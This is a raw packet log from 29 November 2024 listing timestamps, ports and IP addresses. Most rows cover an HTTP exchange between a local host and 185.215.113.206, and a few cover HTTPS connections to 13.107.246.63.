Nov 29, 2024 19:49:47.216682911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.217549086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.217653990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.217772007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.217811108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.218873978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.218926907 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.219047070 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.219134092 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.219943047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.219999075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.220036030 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.220082998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.221071959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.221127033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.221159935 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.221360922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.222184896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.222239971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.222270966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.222317934 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.223253012 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.223308086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.223345995 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.223392010 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.224389076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.224443913 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.224518061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.225488901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.225519896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.225543976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.225600958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.225645065 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.226640940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.226795912 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.226856947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.227715969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.227809906 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.227868080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.228863955 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.229003906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.229069948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.229378939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.229959011 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.230019093 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.230077028 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.230118990 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.231091022 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.231149912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.231164932 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.232084036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.232172966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.232286930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.232340097 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.233294964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.233419895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.233479977 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.234386921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.234529972 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.234584093 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.241226912 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.241297960 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.241373062 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.241636992 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.241637945 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.241657972 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.241688967 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.244703054 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.244744062 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.244842052 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.245002031 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.245017052 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.250520945 CET	443	49789	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.250675917 CET	443	49789	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.250890017 CET	49789	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.250920057 CET	49789	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.250932932 CET	443	49789	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.250946045 CET	49789	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.250952005 CET	443	49789	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.253129959 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.253165007 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.253473997 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.253587008 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.253599882 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.256392956 CET	443	49788	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.256459951 CET	443	49788	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.256670952 CET	49788	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.256815910 CET	49788	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.256815910 CET	49788	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.256835938 CET	443	49788	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.256844044 CET	443	49788	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.258750916 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.258760929 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.258822918 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.259433985 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.259445906 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.325936079 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.326524973 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.326541901 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.327054977 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.327059031 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.340586901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.340811014 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.340859890 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.341140032 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.341181040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.341228008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.342428923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.342482090 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.342494965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.342564106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.343406916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.343499899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.344364882 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.344482899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.344563961 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.344609022 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.345706940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.345726013 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.346019030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.346843004 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.346935034 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.346981049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.352389097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.352437973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.352468967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.352757931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.352897882 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.352948904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.354055882 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.354237080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.354296923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.355226040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.355329037 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.355386019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.355976105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.356139898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.356374979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.357110023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.357201099 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.357234955 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.357292891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.358462095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.358577967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.358634949 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.359607935 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.359740973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.359915972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.360716105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.360827923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.360894918 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.361012936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.362097025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.362144947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.362194061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.363065958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.363179922 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.363230944 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.364535093 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.364630938 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.364662886 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.364681005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.365569115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.365638971 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.366214991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.366672039 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.366689920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.366736889 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.368096113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.368304968 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.368351936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.369824886 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.370019913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.370110035 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.371107101 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.371272087 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.371339083 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.372845888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.373505116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.404253960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.404325008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.404356003 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.404433012 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.404503107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.404544115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.404633045 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.405508041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.405591965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.405683041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.405709028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.405726910 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.406641960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.406721115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.406800032 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.407799006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.407861948 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.407942057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.408039093 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.408898115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.408946037 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.409009933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.409111977 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.410098076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.410259962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.410332918 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.411129951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.411231995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.411261082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.411329031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.412269115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.412323952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.412405968 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.412465096 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.413413048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.413463116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.413537979 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.413582087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.414479017 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.414546013 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.414614916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.415693998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.415726900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.415786982 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.415946960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.415988922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.416959047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.417011976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.417140007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.417187929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.418389082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.418431044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.418479919 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.419398069 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.419533968 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.419565916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.419625998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.420461893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.420510054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.420582056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.420788050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.421411991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.421534061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.421556950 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.421581030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.422275066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.422405005 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.422458887 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.423388958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.423450947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.424181938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.424561977 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.424608946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.424664021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.424709082 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.425659895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.425856113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.425879002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.425899029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.426822901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.426888943 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.426938057 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.427901983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.428014994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.428061962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.428988934 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.429198980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.429248095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.430114031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.430922985 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.431217909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.431273937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.431472063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.432358980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.432399988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.432490110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.432642937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.433442116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.433497906 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.433499098 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.433538914 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.434678078 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.434853077 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.434902906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.435668945 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.435745001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.435826063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.519941092 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.520535946 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.520550013 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.521074057 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.521079063 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.541800976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.541913033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.541944027 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.542028904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.542260885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.542314053 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.542323112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.542406082 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.543416023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.543493986 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.543557882 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.544446945 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.544506073 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.544511080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.544795036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.545600891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.545694113 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.545725107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.545764923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.546735048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.546747923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.546806097 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.547795057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.547806978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.547868967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.553945065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.554011106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.554105997 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.554147959 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.554538965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.554580927 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.554632902 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.555715084 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.555777073 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.555780888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.555938005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.556819916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.556880951 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.556898117 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.556952953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.557815075 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.557863951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.557869911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.557955980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.558901072 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.558963060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.559043884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.559174061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.560091972 CET	80	49772	185.215.113.206	192.168.2.5
